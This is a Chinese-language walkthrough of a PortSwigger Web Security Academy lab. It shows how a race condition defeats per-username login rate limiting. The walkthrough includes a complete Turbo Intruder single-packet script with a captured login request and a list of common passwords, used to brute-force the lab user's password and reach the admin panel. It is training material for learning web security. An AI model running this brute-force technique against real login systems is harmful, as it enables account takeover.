第二关 通过竞争条件绕过速率限制
这一关就是通过并发绕过密码登录的限制,爆破出管理用户密码,从而获取管理员权限
提示:1、靶场的登录机制使用速率限制来防御暴力攻击。但是,由于竞争条件,这可以绕过。
2、靶场开启时间只有15分钟,Carlos 的密码每次都会更改。
3、弄清楚如何利用竞争条件绕过速率限制,成功暴力破解用户 carlos 的密码,登录并访问管理面板,删除用户 carlos。
4、自己的账户:wiener:peter。
具体操作:
1、输入三次正确的用户名和错误的密码之后,第四次输入时账户就被锁定了,然后等锁定结束之后,我再次输入三次正确的用户名和错误的密码之后,锁定的时间加长

换一个账户登录,显示的是无效的用户名和密码,这说明速率限制是按用户名而不是按会话强制执行的。
那么就是说:每个用户名的失败尝试次数是存储在服务器端

接下来找到提交登录的POST /login数据包发往repeater
创建一个20的请求的标签组,选择并发的选项实行并发请求
发现并发20个登录数据包超过3个请求显示的是无效的用户名和密码

去到浏览器刷新发现页面显示的是:已经触发了锁定

那么就是说:提交登录尝试时和当网站递增与特定用户名关联的失败登录尝试次数计数器时,这两个之间存在条件竞争的窗口
推断一下,如果我足够快,能够在触发帐户锁定之前提交三次以上的登录尝试,可能成功一次登录
分析完上面,接下来使用Turbo插件,进行并发测试
把这个登录失败的POST /login数据包发往Turbo 插件

先突显密码
再发往插件Turbo

密码参数的值会自动标记为带有 %s 占位符的有效负载位置。
1、密码参数的值,已经被自动标记为占位符%s
2、发过去的请求用户名那里改成要爆破的用户名carlos
3、选择并发请求的选项——examples/race-single-packet-attack.py
4、加了req和passwords这两个参数
5、开始攻击

编辑的代码如下:
def queueRequests(target, wordlists):
# as the target supports HTTP/2, use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
req = r'''POST /login HTTP/2
Host: 0a21000c03ebe05480e3f35600cd00a5.web-security-academy.net
Cookie: session=rVFF1FSc4kIg7zxFCnDKtP11Wj3UNOar
Content-Length: 72
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0a21000c03ebe05480e3f35600cd00a5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a21000c03ebe05480e3f35600cd00a5.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
csrf=ZXIJsbmqV63NVJagso0Zk04Kkpo825BX&username=carlos&password=%s'''
# assign the list of candidate passwords from your clipboard
passwords = [
'123123',
'abc123',
'football',
'monkey',
'letmein',
'shadow',
'master',
'666666',
'qwertyuiop',
'123321',
'mustang',
'123456',
'password',
'12345678',
'qwerty',
'123456789',
'12345',
'1234',
'111111',
'1234567',
'dragon',
'1234567890',
'michael',
'x654321',
'superman',
'1qaz2wsx',
'baseball',
'7777777',
'121212',
'000000'
]
# queue a login request using each password from the wordlist
# the 'gate' argument withholds the final part of each request until engine.openGate() is invoked
for password in passwords:
engine.queue(target.req, password, gate='1')
# once every request has been queued
# invoke engine.openGate() to send all requests in the given gate simultaneously
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)
如图:并发爆出302,就是密码:carlos:123321,然后复制响应的ur到浏览器,或者到浏览器先刷新然后用账户密码登录

如图,已经是carlos用户了,还多了一个管理面板

进入管理面板:删除carlos用户,靶场过关
